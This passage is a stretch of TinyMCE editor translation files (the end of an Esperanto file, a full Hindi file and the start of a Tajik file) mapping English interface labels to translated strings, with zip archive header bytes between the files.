"Preferences": "Agordoj",
"Yes": "Jes",
"No": "Ne",
"Keyboard Navigation": "Perklavara movi\u011dado",
"Version": "Versio",
"Anchor": "Ankro",
"Special character": "Speciala karaktro",
"Color": "Koloro",
"Emoticons": "Emociikonoj",
"Document properties": "Dokumentaj trajtoj",
"Insert link": "Enmetu ligilon",
"Target": "Celo",
"Poster": "Afi\u015do",
"Print": "Presu",
"Whole words": "Tutaj vortoj",
"Find and replace": "Trovi kaj anstata\u016digi",
"Prev": "Anta\u016da",
"Spellcheck": "Literumu",
"Caption": "Cita\u0135o",
"Insert template": "Enmetu \u015dablonon"
});PK
h�\�'�WHH!program/js/tinymce/langs/hi_IN.jsnu�[���tinymce.addI18n('hi_IN',{
"Cut": "\u0915\u093e\u091f\u0947\u0902",
"Heading 5": "\u0936\u0940\u0930\u094d\u0937\u0915 5",
"Header 2": "\u0936\u0940\u0930\u094d\u0937\u0915 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0906\u092a\u0915\u093e \u091c\u093e\u0932 \u0935\u093f\u091a\u093e\u0930\u0915 \u0938\u0940\u0927\u0947 \u0938\u092e\u0930\u094d\u0925\u0928 \u0928\u0939\u0940\u0902 \u0915\u0930 \u0930\u0939\u093e \u0939\u0948\u0964 \u0915\u0943\u092a\u092f\u093e \u0915\u0941\u0902\u091c\u0940\u092a\u091f\u0932 \u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e Ctrl+X\/C\/V \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0930\u0947\u0902\u0964",
"Heading 4": "\u0936\u0940\u0930\u094d\u0937\u0915 4",
"Div": "\u0921\u093f\u0935",
"Heading 2": "\u0936\u0940\u0930\u094d\u0937\u0915 2",
"Paste": "\u091a\u093f\u092a\u0915\u093e\u090f\u0901",
"Close": "\u092c\u0902\u0926",
"Font Family": "\u092b\u093c\u0949\u0928\u094d\u091f \u092a\u0930\u093f\u0935\u093e\u0930",
"Pre": "\u092a\u0942\u0930\u094d\u0935",
"Align right": "\u0926\u093e\u090f\u0901 \u0938\u0902\u0930\u0947\u0916\u0923",
"New document": "\u0928\u092f\u093e \u0926\u0938\u094d\u0924\u093e\u0935\u0947\u091c\u093c",
"Blockquote": "\u0916\u0902\u0921-\u0909\u0926\u094d\u0927\u0930\u0923",
"Numbered list": "\u0915\u094d\u0930\u092e\u093e\u0902\u0915\u093f\u0924 \u0938\u0942\u091a\u0940",
"Heading 1": "\u0936\u0940\u0930\u094d\u0937\u0915 1",
"Headings": "\u0936\u0940\u0930\u094d\u0937\u0915",
"Increase indent": "\u0916\u0930\u094b\u091c \u092c\u095d\u093e\u090f\u0901",
"Formats": "\u092a\u094d\u0930\u093e\u0930\u0942\u092a",
"Headers": "\u0936\u0940\u0930\u094d\u0937\u0915",
"Select all": "\u0938\u092d\u0940 \u091a\u0941\u0928\u0947\u0902",
"Header 3": "\u0936\u0940\u0930\u094d\u0937\u0915 3",
"Blocks": "\u0916\u0902\u0921",
"Undo": "\u092a\u0940\u091b\u0947",
"Strikethrough": "\u092e\u0927\u094d\u092f \u0938\u0947 \u0915\u093e\u091f\u0947\u0902",
"Bullet list": "\u0917\u094b\u0932\u0940 \u0938\u0942\u091a\u0940",
"Header 1": "\u0936\u0940\u0930\u094d\u0937\u0915 1",
"Superscript": "\u0909\u092a\u0930\u093f\u0932\u093f\u0916\u093f\u0924",
"Clear formatting": "\u092a\u094d\u0930\u093e\u0930\u0942\u092a\u0923 \u0939\u091f\u093e\u090f\u0901",
"Font Sizes": "\u092b\u093c\u0949\u0928\u094d\u091f \u0906\u0915\u093e\u0930",
"Subscript": "\u0928\u093f\u091a\u0932\u0940\u0932\u093f\u0916\u093f\u0924",
"Header 6": "\u0936\u0940\u0930\u094d\u0937\u0915 6",
"Redo": "\u0906\u0917\u0947",
"Paragraph": "\u0905\u0928\u0941\u091a\u094d\u091b\u0947\u0926",
"Ok": "\u0920\u0940\u0915 \u0939\u0948",
"Bold": "\u092e\u094b\u091f\u093e",
"Code": "\u0938\u0902\u0915\u0947\u0924\u0932\u093f\u092a\u093f",
"Italic": "\u091f\u0947\u095c\u093e",
"Align center": "\u092e\u0927\u094d\u092f \u0938\u0902\u0930\u0947\u0916\u0923",
"Header 5": "\u0936\u0940\u0930\u094d\u0937\u0915 5",
"Heading 6": "\u0936\u0940\u0930\u094d\u0937\u0915 6",
"Heading 3": "\u0936\u0940\u0930\u094d\u0937\u0915 3",
"Decrease indent": "\u0916\u0930\u094b\u091c \u0915\u092e \u0915\u0930\u0947\u0902",
"Header 4": "\u0936\u0940\u0930\u094d\u0937\u0915 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u091a\u093f\u092a\u0915\u093e\u0928\u0947 \u0915\u093e \u092a\u094d\u0930\u0915\u093e\u0930 \u0905\u092d\u0940 \u0938\u093e\u0926\u093e \u092a\u093e\u0920\u094d\u092f \u0939\u0948\u0964 \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u091a\u093f\u092a\u0915\u093e\u0928\u0947 \u092a\u0930 \u0935\u0939 \u0938\u093e\u0926\u0947 \u092a\u093e\u0920\u094d\u092f \u092e\u0947\u0902 \u0930\u0939\u0917\u0940 \u091c\u092c \u0924\u0915 \u0906\u092a \u0907\u0938 \u0935\u093f\u0915\u0932\u094d\u092a \u0915\u094b \u092c\u0902\u0926 \u0928\u0939\u0940\u0902 \u0915\u0930 \u0926\u0947\u0924\u0947\u0964",
"Underline": "\u0905\u0927\u094b\u0930\u0947\u0916\u093e\u0902\u0915\u0928",
"Cancel": "\u0930\u0926\u094d\u0926",
"Justify": "\u0938\u092e\u0915\u0930\u0923",
"Inline": "\u0930\u0947\u0916\u093e \u092e\u0947\u0902",
"Copy": "\u092a\u094d\u0930\u0924\u093f \u0915\u0930\u0947\u0902",
"Align left": "\u092c\u093e\u090f\u0901 \u0938\u0902\u0930\u0947\u0916\u0923",
"Visual aids": "\u0926\u0943\u0936\u094d\u092f \u0938\u093e\u0927\u0928",
"Lower Greek": "\u0928\u093f\u092e\u094d\u0928 \u0917\u094d\u0930\u0940\u0915",
"Square": "\u0935\u0930\u094d\u0917",
"Default": "\u092a\u0939\u0932\u0947 \u0938\u0947 \u091a\u0941\u0928\u093e \u0939\u0941\u0906",
"Lower Alpha": "\u0928\u093f\u092e\u094d\u0928 \u0905\u0932\u094d\u092b\u093e",
"Circle": "\u0935\u0943\u0924\u094d\u0924",
"Disc": "\u092c\u093f\u0902\u092c",
"Upper Alpha": "\u0909\u091a\u094d\u091a \u0905\u0932\u094d\u092b\u093e",
"Upper Roman": "\u0909\u091a\u094d\u091a \u0930\u094b\u092e\u0928",
"Lower Roman": "\u0928\u093f\u092e\u094d\u0928 \u0930\u094b\u092e\u0928",
"Name": "\u0928\u093e\u092e",
"Anchor": "\u0932\u0902\u0917\u0930",
"You have unsaved changes are you sure you want to navigate away?": "\u0906\u092a\u0915\u0947 \u0915\u0941\u091b \u0905\u0938\u0939\u0947\u091c\u0947 \u092c\u0926\u0932\u093e\u0935 \u0939\u0948\u0902, \u0915\u094d\u092f\u093e \u0906\u092a \u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u0930\u0942\u092a \u0938\u0947 \u092f\u0939\u093e\u0901 \u0938\u0947 \u091c\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u094b?",
"Restore last draft": "\u0906\u0916\u093f\u0930\u0940 \u092e\u0938\u094c\u0926\u093e \u092a\u0941\u0928\u0930\u094d\u0938\u094d\u0925\u093e\u092a\u093f\u0924 \u0915\u0930\u0947\u0902",
"Special character": "\u0935\u093f\u0936\u0947\u0937 \u0935\u0930\u094d\u0923",
"Source code": "\u0938\u094d\u0924\u094d\u0930\u094b\u0924 \u0938\u0902\u0915\u0947\u0924\u0932\u093f\u092a\u093f",
"B": "\u092c\u0940",
"R": "\u0906\u0930",
"G": "\u091c\u0940",
"Color": "\u0930\u0902\u0917",
"Right to left": "\u0926\u093e\u090f\u0901 \u0938\u0947 \u092c\u093e\u090f\u0901",
"Left to right": "\u092c\u093e\u090f\u0901 \u0938\u0947 \u0926\u093e\u090f\u0901",
"Emoticons": "\u092d\u093e\u0935\u0928\u093e-\u092a\u094d\u0930\u0924\u0940\u0915",
"Robots": "\u092f\u0902\u0924\u094d\u0930\u092e\u093e\u0928\u0935",
"Document properties": "\u0926\u0938\u094d\u0924\u093e\u0935\u0947\u091c\u093c \u0917\u0941\u0923",
"Title": "\u0936\u0940\u0930\u094d\u0937\u0915",
"Keywords": "\u0915\u0941\u0902\u091c\u0940\u0936\u092c\u094d\u0926",
"Encoding": "\u0938\u0902\u0915\u0947\u0924\u0940\u0915\u0930\u0923",
"Description": "\u0935\u093f\u0935\u0930\u0923",
"Author": "\u0932\u0947\u0916\u0915",
"Fullscreen": "\u092a\u0942\u0930\u094d\u0923 \u0938\u094d\u0915\u094d\u0930\u0940\u0928",
"Horizontal line": "\u0915\u094d\u0937\u0948\u0924\u093f\u091c \u0930\u0947\u0916\u093e",
"Horizontal space": "\u0915\u094d\u0937\u0948\u0924\u093f\u091c \u0938\u094d\u0925\u093e\u0928",
"Insert\/edit image": "\u091b\u0935\u093f \u0921\u093e\u0932\u0947\u0902\/\u0938\u092e\u094d\u092a\u093e\u0926\u0928 \u0915\u0930\u0947\u0902",
"General": "\u0938\u093e\u092e\u093e\u0928\u094d\u092f",
"Advanced": "\u0909\u0928\u094d\u0928\u0924",
"Source": "\u0938\u094d\u0924\u094d\u0930\u094b\u0924",
"Border": "\u0938\u0940\u092e\u093e",
"Constrain proportions": "\u0905\u0928\u0941\u092a\u093e\u0924 \u0935\u093f\u0935\u0936",
"Vertical space": "\u090a\u0930\u094d\u0927\u094d\u0935\u093e\u0927\u0930 \u0938\u094d\u0925\u093e\u0928",
"Image description": "\u091b\u0935\u093f \u0935\u093f\u0935\u0930\u0923",
"Style": "\u0936\u0948\u0932\u0940",
"Dimensions": "\u0906\u092f\u093e\u092e",
"Insert image": "\u091b\u0935\u093f \u0921\u093e\u0932\u0947\u0902",
"Zoom in": "\u0926\u0942\u0930\u0940 \u0915\u092e \u0915\u0930\u0947\u0902",
"Contrast": "\u0935\u093f\u0937\u092e\u0924\u093e",
"Back": "\u092a\u0940\u091b\u0947",
"Gamma": "\u0917\u093e\u092e\u093e",
"Flip horizontally": "\u0915\u094d\u0937\u0948\u0924\u093f\u091c \u0915\u0930\u0947\u0902",
"Resize": "\u0906\u0915\u093e\u0930 \u092c\u0926\u0932\u0947\u0902",
"Sharpen": "\u0928\u0941\u0915\u0940\u0932\u093e\u092a\u0928",
"Zoom out": "\u0926\u0942\u0930\u0940 \u092c\u095d\u093e\u090f\u0901",
"Image options": "\u091b\u0935\u093f \u0915\u0947 \u0935\u093f\u0915\u0932\u094d\u092a",
"Apply": "\u0932\u093e\u0917\u0942 \u0915\u0930\u0947\u0902",
"Brightness": "\u091a\u092e\u0915\u0940\u0932\u093e\u092a\u0928",
"Rotate clockwise": "\u0918\u095c\u0940 \u0915\u0940 \u0926\u093f\u0936\u093e \u092e\u0947\u0902 \u0918\u0941\u092e\u093e\u0913",
"Rotate counterclockwise": "\u0918\u095c\u0940 \u0915\u0947 \u0935\u093f\u092a\u0930\u0940\u0924 \u0918\u0941\u092e\u093e\u0913",
"Edit image": "\u091b\u0935\u093f \u0938\u092e\u094d\u092a\u093e\u0926\u0928",
"Color levels": "\u0930\u0902\u0917 \u0938\u094d\u0924\u0930",
"Crop": "\u0915\u093e\u091f\u0947\u0902",
"Orientation": "\u0928\u093f\u0930\u094d\u0926\u0947\u0936\u0915 \u0930\u0947\u0916\u093e",
"Flip vertically": "\u0916\u095c\u093e \u0915\u0930\u0947\u0902",
"Invert": "\u0909\u0932\u091f\u0947\u0902",
"Insert date\/time": "\u0926\u093f\u0928\u093e\u0902\u0915\/\u0938\u092e\u092f \u0921\u093e\u0932\u0947\u0902",
"Remove link": "\u0915\u095c\u0940 \u0939\u091f\u093e\u090f\u0901",
"Url": "\u091c\u093e\u0932\u0938\u094d\u0925\u0932 \u092a\u0924\u093e",
"Text to display": "\u0926\u093f\u0916\u093e\u0928\u0947 \u0939\u0947\u0924\u0941 \u092a\u093e\u0920\u094d\u092f",
"Anchors": "\u0932\u0902\u0917\u0930",
"Insert link": "\u0915\u095c\u0940 \u0921\u093e\u0932\u0947\u0902",
"New window": "\u0928\u0908 \u0916\u093f\u095c\u0915\u0940",
"None": "\u0915\u094b\u0908 \u0928\u0939\u0940\u0902",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0906\u092a\u0928\u0947 \u091c\u094b \u0915\u095c\u0940 \u0921\u093e\u0932\u0940 \u0939\u0948 \u0935\u0939 \u092c\u093e\u0939\u0930\u0940 \u0915\u095c\u0940 \u0915\u0947 \u091c\u0948\u0938\u0947 \u0926\u093f\u0916 \u0930\u0939\u093e \u0939\u0948\u0964 \u0915\u094d\u092f\u093e \u0906\u092a http:\/\/ \u092a\u0939\u0932\u0947 \u091c\u094b\u095c\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948?",
"Target": "\u0932\u0915\u094d\u0937\u094d\u092f",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0906\u092a\u0928\u0947 \u091c\u094b \u0915\u095c\u0940 \u0921\u093e\u0932\u0940 \u0939\u0948 \u0935\u0939 \u0908\u092e\u0947\u0932 \u092a\u0924\u093e \u0915\u0947 \u091c\u0948\u0938\u0947 \u0926\u093f\u0916 \u0930\u0939\u093e \u0939\u0948\u0964 \u0915\u094d\u092f\u093e \u0906\u092a mailto: \u092a\u0939\u0932\u0947 \u091c\u094b\u095c\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948?",
"Insert\/edit link": "\u0915\u095c\u0940 \u0921\u093e\u0932\u0947\u0902\/\u0938\u0902\u092a\u093e\u0926\u093f\u0924 \u0915\u0930\u0947\u0902",
"Insert\/edit video": "\u091a\u0932\u091a\u093f\u0924\u094d\u0930 \u0921\u093e\u0932\u0947\u0902\/\u0938\u092e\u094d\u092a\u093e\u0926\u0928 \u0915\u0930\u0947\u0902",
"Poster": "\u092a\u094b\u0938\u094d\u091f\u0930",
"Alternative source": "\u0935\u0948\u0915\u0932\u094d\u092a\u093f\u0915 \u0938\u094d\u0930\u094b\u0924",
"Paste your embed code below:": "\u0926\u093f\u0916\u093e\u0928\u0947 \u0935\u093e\u0932\u0947 \u0938\u0902\u0915\u0947\u0924 \u0915\u094b \u0928\u0940\u091a\u0947 \u0921\u093e\u0932\u0947\u0902:",
"Insert video": "\u091a\u0932\u091a\u093f\u0924\u094d\u0930 \u0921\u093e\u0932\u0947\u0902",
"Embed": "\u0926\u093f\u0916\u093e\u0928\u093e",
"Nonbreaking space": "\u0905\u0935\u093f\u0930\u093e\u092e\u093f\u0924 \u091c\u0917\u0939",
"Page break": "\u092a\u0943\u0937\u094d\u0920 \u0935\u093f\u0930\u093e\u092e",
"Paste as text": "\u092a\u093e\u0920\u094d\u092f \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u091a\u093f\u092a\u0915\u093e\u090f\u0901",
"Preview": "\u092a\u0942\u0930\u094d\u0935\u093e\u0935\u0932\u094b\u0915\u0928",
"Print": "\u092e\u0941\u0926\u094d\u0930\u0923",
"Save": "\u0938\u0939\u0947\u091c\u0947\u0902",
"Could not find the specified string.": "\u0928\u093f\u0930\u094d\u0926\u093f\u0937\u094d\u091f \u092a\u0902\u0915\u094d\u0924\u093f \u0928\u0939\u0940\u0902 \u092e\u093f\u0932 \u0938\u0915\u093e\u0964",
"Replace": "\u092a\u094d\u0930\u0924\u093f\u0938\u094d\u0925\u093e\u092a\u0928",
"Next": "\u0905\u0917\u0932\u093e",
"Whole words": "\u0938\u0902\u092a\u0942\u0930\u094d\u0923 \u0936\u092c\u094d\u0926",
"Find and replace": "\u0922\u0942\u0901\u0922\u0947\u0902 \u0914\u0930 \u092c\u0926\u0932\u0947\u0902",
"Replace with": "\u092a\u094d\u0930\u0924\u093f\u0938\u094d\u0925\u093e\u092a\u093f\u0924 \u0915\u0930\u0947\u0902",
"Find": "\u0916\u094b\u091c",
"Replace all": "\u0938\u092d\u0940 \u092a\u094d\u0930\u0924\u093f\u0938\u094d\u0925\u093e\u092a\u093f\u0924 \u0915\u0930\u0947\u0902",
"Match case": "\u092e\u093e\u092e\u0932\u0947 \u092e\u093f\u0932\u093e\u090f\u0901",
"Prev": "\u092a\u093f\u091b\u0932\u093e",
"Spellcheck": "\u0935\u0930\u094d\u0924\u0928\u0940\u0936\u094b\u0927\u0915",
"Finish": "\u0938\u092e\u093e\u092a\u094d\u0924",
"Ignore all": "\u0938\u092d\u0940 \u0915\u0940 \u0909\u092a\u0947\u0915\u094d\u0937\u093e",
"Ignore": "\u0909\u092a\u0947\u0915\u094d\u0937\u093e",
"Add to Dictionary": "\u0936\u092c\u094d\u0926\u0915\u094b\u0936 \u092e\u0947\u0902 \u091c\u094b\u095c\u0947\u0902",
"Insert row before": "\u092a\u0939\u0932\u0947 \u092a\u0902\u0915\u094d\u0924\u093f \u0921\u093e\u0932\u0947\u0902",
"Rows": "\u092a\u0902\u0915\u094d\u0924\u093f\u092f\u093e\u0901",
"Height": "\u090a\u0901\u091a\u093e\u0908",
"Paste row after": "\u092a\u0902\u0915\u094d\u0924\u093f \u0915\u0947 \u092c\u093e\u0926 \u091a\u093f\u092a\u0915\u093e\u090f\u0901",
"Alignment": "\u0938\u0902\u0930\u0947\u0916\u0923",
"Border color": "\u0938\u0940\u092e\u093e \u0930\u0902\u0917",
"Column group": "\u0938\u094d\u0924\u0902\u092d \u0938\u092e\u0942\u0939",
"Row": "\u092a\u0902\u0915\u094d\u0924\u093f",
"Insert column before": "\u092a\u0939\u0932\u0947 \u0938\u094d\u0924\u0902\u092d \u0921\u093e\u0932\u0947\u0902",
"Split cell": "\u0916\u093e\u0928\u0947\u0902 \u0935\u093f\u092d\u093e\u091c\u093f\u0924 \u0915\u0930\u0947\u0902",
"Cell padding": "\u0916\u093e\u0928\u094b\u0902 \u092e\u0947\u0902 \u0926\u0942\u0930\u0940",
"Cell spacing": "\u0916\u093e\u0928\u094b\u0902 \u092e\u0947\u0902 \u0930\u093f\u0915\u094d\u0924\u093f",
"Row type": "\u092a\u0902\u0915\u094d\u0924\u093f \u092a\u094d\u0930\u0915\u093e\u0930",
"Insert table": "\u0924\u093e\u0932\u093f\u0915\u093e \u0921\u093e\u0932\u0947\u0902",
"Body": "\u0936\u0930\u0940\u0930",
"Caption": "\u0905\u0928\u0941\u0936\u0940\u0930\u094d\u0937\u0915",
"Footer": "\u092a\u093e\u0926 \u0932\u0947\u0916",
"Delete row": "\u092a\u0902\u0915\u094d\u0924\u093f \u0939\u091f\u093e\u090f\u0902",
"Paste row before": "\u092a\u0902\u0915\u094d\u0924\u093f \u0938\u0947 \u092a\u0939\u0932\u0947 \u091a\u093f\u092a\u0915\u093e\u090f\u0901",
"Scope": "\u0915\u094d\u0937\u0947\u0924\u094d\u0930",
"Delete table": "\u0924\u093e\u0932\u093f\u0915\u093e \u0939\u091f\u093e\u090f\u0901",
"H Align": "\u0915\u094d\u0937\u0947\u0924\u093f\u091c \u0938\u0902\u0930\u0947\u0916\u093f\u0924",
"Top": "\u0936\u0940\u0930\u094d\u0937",
"Header cell": "\u0936\u0940\u0930\u094d\u0937 \u0916\u093e\u0928\u093e",
"Column": "\u0938\u094d\u0924\u0902\u092d",
"Row group": "\u092a\u0902\u0915\u094d\u0924\u093f \u0938\u092e\u0942\u0939",
"Cell": "\u0915\u094b\u0936\u093f\u0915\u093e",
"Middle": "\u092e\u0927\u094d\u092f",
"Cell type": "\u0916\u093e\u0928\u0947 \u0915\u093e \u092a\u094d\u0930\u0915\u093e\u0930",
"Copy row": "\u092a\u0902\u0915\u094d\u0924\u093f \u0915\u0940 \u092a\u094d\u0930\u0924\u093f\u0932\u093f\u092a\u093f \u0932\u0947\u0902",
"Row properties": "\u092a\u0902\u0915\u094d\u0924\u093f \u0915\u0947 \u0917\u0941\u0923",
"Table properties": "\u0924\u093e\u0932\u093f\u0915\u093e \u0915\u0947 \u0917\u0941\u0923",
"Bottom": "\u0928\u0940\u091a\u0947",
"V Align": "\u090a\u0930\u094d\u0927\u094d\u0935\u093e\u0927\u0930 \u0938\u0902\u0930\u0947\u0916\u093f\u0924",
"Header": "\u0936\u0940\u0930\u094d\u0937\u0915",
"Right": "\u0926\u093e\u092f\u093e\u0901",
"Insert column after": "\u092c\u093e\u0926 \u0938\u094d\u0924\u0902\u092d \u0921\u093e\u0932\u0947\u0902",
"Cols": "\u0938\u094d\u0924\u0902\u092d",
"Insert row after": "\u092c\u093e\u0926 \u092a\u0902\u0915\u094d\u0924\u093f \u0921\u093e\u0932\u0947\u0902",
"Width": "\u091a\u094c\u0921\u093c\u093e\u0908",
"Cell properties": "\u0915\u094b\u0936\u093f\u0915\u093e \u0917\u0941\u0923",
"Left": "\u092c\u093e\u092f\u093e\u0901",
"Cut row": "\u092a\u0902\u0915\u094d\u0924\u093f \u0915\u093e\u091f\u0947\u0902",
"Delete column": "\u0938\u094d\u0924\u0902\u092d \u0939\u091f\u093e\u090f\u0901",
"Center": "\u092e\u0927\u094d\u092f",
"Merge cells": "\u0916\u093e\u0928\u094b\u0902 \u0915\u094b \u092e\u093f\u0932\u093e\u090f\u0902",
"Insert template": "\u0938\u093e\u0901\u091a\u093e \u0921\u093e\u0932\u0947\u0902",
"Templates": "\u0938\u093e\u0901\u091a\u0947",
"Background color": "\u092a\u0943\u0937\u094d\u0920\u092d\u0942\u092e\u093f \u0915\u093e \u0930\u0902\u0917",
"Custom...": "\u0905\u0928\u0941\u0915\u0942\u0932\u093f\u0924...",
"Custom color": "\u0905\u0928\u0941\u0915\u0942\u0932\u093f\u0924 \u0930\u0902\u0917",
"No color": "\u0930\u0902\u0917\u0939\u0940\u0928",
"Text color": "\u092a\u093e\u0920\u094d\u092f \u0930\u0902\u0917",
"Show blocks": "\u0921\u092c\u094d\u092c\u0947 \u0926\u093f\u0916\u093e\u090f\u0901",
"Show invisible characters": "\u0905\u0926\u0943\u0936\u094d\u092f \u0905\u0915\u094d\u0937\u0930\u094b\u0902 \u0915\u094b \u0926\u093f\u0916\u093e\u090f\u0901",
"Words: {0}": "\u0936\u092c\u094d\u0926: {0}",
"Insert": "\u0921\u093e\u0932\u0947\u0902",
"File": "\u0928\u0924\u094d\u0925\u0940",
"Edit": "\u0938\u092e\u094d\u092a\u093e\u0926\u0928",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0938\u0902\u092a\u0928\u094d\u0928 \u092a\u093e\u0920 \u0915\u094d\u0937\u0947\u0924\u094d\u0930\u0964 \u092e\u0947\u0928\u0942 \u0915\u0947 \u0932\u093f\u090f ALT-F9 \u0926\u092c\u093e\u090f\u0901\u0964 \u0909\u092a\u0915\u0930\u0923 \u092a\u091f\u094d\u091f\u0940 \u0915\u0947 \u0932\u093f\u090f  ALT-F10 \u0926\u092c\u093e\u090f\u0901\u0964 \u0938\u0939\u093e\u092f\u0924\u093e \u0915\u0947 \u0932\u093f\u090f ALT-0 \u0926\u092c\u093e\u090f\u0901\u0964",
"Tools": "\u0909\u092a\u0915\u0930\u0923",
"View": "\u0926\u0947\u0916\u0947\u0902",
"Table": "\u0924\u093e\u0932\u093f\u0915\u093e",
"Format": "\u092a\u094d\u0930\u093e\u0930\u0942\u092a"
});PK
h�\�(���program/js/tinymce/langs/tg.jsnu�[���tinymce.addI18n('tg',{
"Redo": "\u0411\u0435\u043a\u043e\u0440 \u043a\u0430\u0440\u0434\u0430\u043d",
"Undo": "\u0411\u043e\u0437 \u0433\u0430\u0440\u0434\u043e\u043d\u0438\u0434\u0430\u043d",
"Cut": "\u0411\u0443\u0440\u0438\u0434\u0430\u043d",
"Copy": "\u041d\u0443\u0441\u0445\u0430\u0431\u043e\u0440\u0434\u043e\u043d\u0438 \u043a\u0430\u0440\u0434\u0430\u043d",
"Paste": "\u0413\u0443\u0437\u043e\u0448\u0442\u0430\u043d",
"Select all": "\u0418\u043d\u0442\u0438\u0445\u043e\u0431\u0438 \u043a\u0443\u043b\u043b\u0438",
"New document": "\u04b2\u0443\u04b7\u04b7\u0430\u0442\u0438 \u043d\u0430\u0432",
"Ok": "\u041e\u043a",
"Cancel": "\u0411\u0435\u043a\u043e\u0440 \u043a\u0430\u0440\u0434\u0430\u043d",
"Visual aids": "\u041a\u0443\u043c\u043c\u0430\u043a\u0438 \u0430\u0451\u043d\u04e3",
"Bold": "\u0492\u0430\u0444\u0441",
"Italic": "\u0418\u0442\u0430\u043b\u0438\u043a",
"Underline": "\u0414\u0430\u0440 \u0442\u0430\u0433\u0430\u0448 \u0445\u0430\u0442 \u043a\u0430\u0448\u0438\u0434\u0430\u043d",
"Strikethrough": "\u0410\u0437 \u043c\u043e\u0431\u0430\u0439\u043d\u0430\u0448 \u0445\u0430\u0442 \u043a\u0430\u0448\u0438\u0434\u0430\u043d",
"Superscript": "\u0410\u0437 \u0445\u0430\u0442 \u0431\u043e\u043b\u043e\u0442\u0430\u0440",
"Subscript": "\u0410\u0437 \u0445\u0430\u0442 \u043f\u043e\u0451\u043d\u0442\u0430\u0440",
"Clear formatting": "\u0424\u043e\u0440\u043c\u0430\u0442\u04b3\u043e\u0440\u043e \u0431\u0435\u043a\u043e\u0440 \u043a\u0430\u0440\u0434\u0430\u043d",
"Align left": "\u0420\u043e\u0441 \u043a\u0430\u0440\u0434\u0430\u043d \u0430\u0437 \u0447\u0430\u043f",
"Align center": "\u0420\u043e\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d \u0430\u0437 \u043c\u043e\u0431\u0430\u0439\u043d",
"Align right": "\u0420\u043e\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d \u0430\u0437 \u0440\u043e\u0441\u0442",
"Justify": "\u0410\u0437 \u04b3\u0430\u0440 \u0434\u0443 \u0442\u0430\u0440\u0430\u0444 \u0440\u043e\u0441\u0442 \u043a\u0430\u0440\u0434\u0430\u043d",
"Bullet list": "\u0420\u0443\u0439\u0445\u0430\u0442\u0438 \u0431\u0435 \u0442\u0430\u0440\u0442\u0438\u0431",
"Numbered list": "\u0420\u0443\u0439\u0445\u0430\u0442\u0438 \u0431\u043e \u0442\u0430\u0440\u0442\u0438\u0431",
"Decrease indent": "\u0410\u0431\u0437\u0430\u0441\u0442\u0440\u043e \u0445\u0443\u0440\u0434 \u043a\u0430\u0440\u0434\u0430\u043d",
"Increase indent": "\u0410\u0431\u0437\u0430\u0441\u0442\u0440\u043e \u0432\u0430\u0441\u0435\u044a \u043a\u0430\u0440\u0434\u0430\u043d",
"Close": "\u041c\u0430\u04b3\u043a\u0430\u043c \u043a\u0430\u0440\u0434\u0430\u043d",
"Formats": "\u0424\u0430\u0440\u043c\u0430\u0442\u04b3\u043e",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0411\u0430\u0440\u0438 \u0448\u0443\u0441\u0445\u0430\u0431\u0430\u0440\u0434\u043e\u0440\u0438 \u043a\u0430\u0440\u0434\u0430\u043d Ctrl+X\/C\/V \u0438\u0441\u0442\u0438\u0444\u043e\u0434\u0430 \u043a\u0443\u043d\u0435\u0434",
"Headers": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u04b3\u043e",
"Header 1": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 1",
"Header 2": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 2",
"Header 3": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 3",
"Header 4": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 4",
"Header 5": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 5",
"Header 6": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 6",
"Headings": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u04b3\u043e",
"Heading 1": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 1",
"Heading 2": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 2",
"Heading 3": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 3",
"Heading 4": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 4",
"Heading 5": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 5",
"Heading 6": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430\u0438 6",
"Preformatted": "\u0411\u0430\u0440\u043e\u0431\u0430\u0440 \u043a\u0430\u0440\u0434\u0430 \u0448\u0443\u0434\u0430",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "\u0410\u0431\u0437\u0430\u0441\u0442",
"Blockquote": "\u041d\u043e\u0445\u0443\u043d\u0430\u043a",
"Inline": "\u0414\u0430\u0440 \u044f\u043a \u0445\u0430\u0442",
"Blocks": "\u0425\u0430\u0442\u0438 \u0431\u043b\u043e\u043a\u04e3",
